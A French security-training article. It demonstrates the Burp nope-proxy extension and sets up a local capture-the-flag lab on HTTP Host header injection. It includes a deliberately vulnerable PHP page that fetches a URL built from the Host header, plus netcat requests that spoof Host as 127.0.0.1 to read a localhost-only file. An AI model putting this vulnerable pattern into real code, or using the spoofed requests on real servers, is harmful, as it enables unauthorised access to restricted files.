L’article est composé d’une vidéo sur l’extension « nope-proxy » et d’une introduction à l’injection dans le champ « Host » de l’entête HTTP. Les codes sources et les configurations sont uniquement à destination d’un serveur local hébergé dans une machine virtuelle en mode laboratoire.
Burp-Non-HTTP-Extension
Références :
Question : https://forum.portswigger.net/thread/can-we-intercept-tcp-ip-protocol-in-burp-8e0e3a14
Git nope-proxy : https://github.com/portswigger/nope-proxy
Guide de mise en route : https://github.com/summitt/Burp-Non-HTTP-Extension/wiki
Tuto nope-proxy : https://medium.com/@juan.tirtayana/intercepting-non-http-request-using-burp-suite-extension-8c264b3c41d1
Dans cette vidéo nous allons mettre en pratique l’extension nope-proxy développée par Josh Summitt. Il s’agira d’intercepter du flux TCP non HTTP pour le modifier à l’instar de la fonctionnalité principale de Burp Suite pour les requêtes HTTP.
HTTP Host header attacks
Référence :
HTTP Host header attacks : https://portswigger.net/web-security/host-header
L’attaque consiste à effectuer une injection de la valeur « Host » qui se situe dans le « Header » d’une requête HTTP. Pour ce faire une allons partager le fichier « secret.txt » uniquement accessible à l’adresse ip 127.0.0.1.
Le nom de domaine example.com devra être remplacé par celui de votre serveur.
GET /chall01.php HTTP/1.1 Host: example.com
Serveur Linux
On ajoute du code dans le fichier apache2.conf pour utiliser nos fichiers .htaccess. Ce fichier est dans le répertoire /etc/apache2 et les fichiers suivants sont dans le répertoire /var/www/html.
<Directory /var/www/html> AllowOverride All </Directory>
Création du fichier .htaccess. avec la ligne « Options -Indexes » pour interdire aux utilisateurs de lister les répertoires. Le reste des instructions a pour rôle d’interdire aux utilisateurs de lire les fichiers qui ont pour extensions « .txt », sauf pour l’utilisateur qui a comme adresse ip 127.0.0.1.
Options -Indexes <FilesMatch "\.txt$"> order allow,deny Allow from 127.0.0.1 </FilesMatch>
Création du fichier index.html pour permettre à l’utilisateur de rentrer un pseudo et d’être redirigé vers la page du challenge.
<html> </head><title>Challenge</title></head> <body> <h1>Un petit challenge</h1> <p>L'objectif est de lire le fichier <strong>secret.txt</strong> mais uniquement l'adresse ip 127.0.0.1 peut y avoir accès !</p> <p>Vous pouvez suivre les personnes qui ont validées à partir du fichier <a href="/dashboard.log"><strong>dashboard.log</strong></a></p> <p>Il n'y a pas de brute-force ni de scan à faire et le paramètre user ne sert que pour le dashboard !</p> <form action="chall01.php" method="get"> <label>Pseudo : <input type="text" name="user" required size="10"></label> <input type=submit value="enjoy"/> </form> </body> </html>
Création du fichier chall01.php qui comporte la vulnérabilité et affiche le flag si l’utilisateur réussi l’épreuve. En bonus il affiche le pseudo du vainqueur dans le « Dashboard » s’il a été renseigné.
<html> <head><title>chall01</title></head> <body> <?php $host = $_SERVER['HTTP_HOST']; $extra = 'secret.txt'; $url = htmlentities("http://$host/$extra"); $http = file_get_contents($url); if(!$http) { $http = "Deny"; } echo $http; if (isset($_GET['user']) && substr_compare($http,"Flag",1,4)===1) { $fic=fopen('dashboard.log','ab'); fwrite($fic,"You win : ".htmlspecialchars($_GET['user'])." at ".date("Y-m-d H:i:s")."\n"); fclose($fic); } ?> </br></br> <a href="/index.html">home</a></br></br> <a href="/dashboard.log">dashboard</a> </body> </html>
Création du fichier secret.txt qui contient le flag.
Flag{NeverTrustAnyDataInput}
Attaquant
L’objectif est d’utiliser Burp Suite avec l’extension « NoPE Proxy » ou avec le « Repeater ». Mais nous allons utiliser nectat 🤪. Une première requête légitime nous répond « Deny » pour accéder à la ressource secret.txt.
echo "GET /chall01.php?user=egarim HTTP/1.1\r\nHost: example.com:80\r\n\r\n" | nc example.com 80 HTTP/1.1 200 OK Date: Sat, 30 Oct 2021 14:33:18 GMT Server: Apache/2.4.38 (Debian) Vary: Accept-Encoding Content-Length: 163 Content-Type: text/html; charset=UTF-8 <html> <head><title>chall01</title></head> <body> Deny </br></br> <a href="/index.html">home</a></br></br> <a href="/dashboard.log">dashboard</a> </body> </html>
On effectue une nouvelle requête en modifiant la valeur du paramètre Host dans l’entête HTTP par 127.0.0.1. Ce qui permet d’accéder à distance à la ressource secret.txt, et pourtant disponible uniquement en local.
echo "GET /chall01.php?user=egarim HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc example.com 80 HTTP/1.1 200 OK Date: Tue, 26 Oct 2021 14:28:32 GMT Server: Apache/2.4.38 (Debian) Vary: Accept-Encoding Content-Length: 188 Content-Type: text/html; charset=UTF-8 <html> <head><title>chall01</title></head> <body> Flag{NeverTrustAnyDataInput} </br></br> <a href="/index.html">home</a></br></br> <a href="/dashboard.log">dashboard</a> </body> </html>
The flag is Flag{NeverTrustAnyDataInput} 🤘
Pour continuer à augmenter nos compétences il y a des labs disponibles chez portswigger 😀.
Bibliographie
- Question : https://forum.portswigger.net/thread/can-we-intercept-tcp-ip-protocol-in-burp-8e0e3a14
- Git nope-proxy : https://github.com/portswigger/nope-proxy
- Guide de mise en route : https://github.com/summitt/Burp-Non-HTTP-Extension/wiki
- Tuto nope-proxy : https://medium.com/@juan.tirtayana/intercepting-non-http-request-using-burp-suite-extension-8c264b3c41d1
- Git Josh Summit : https://github.com/summitt
- HTTP Host header attacks : https://portswigger.net/web-security/host-header
- Labs HTTP host header attacks : https://portswigger.net/web-security/all-labs#http-host-header-attacks
- OWASP Host Header Injection : https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection
- OWASP projet de sécurité Header HTTP : https://owasp.org/www-project-secure-headers/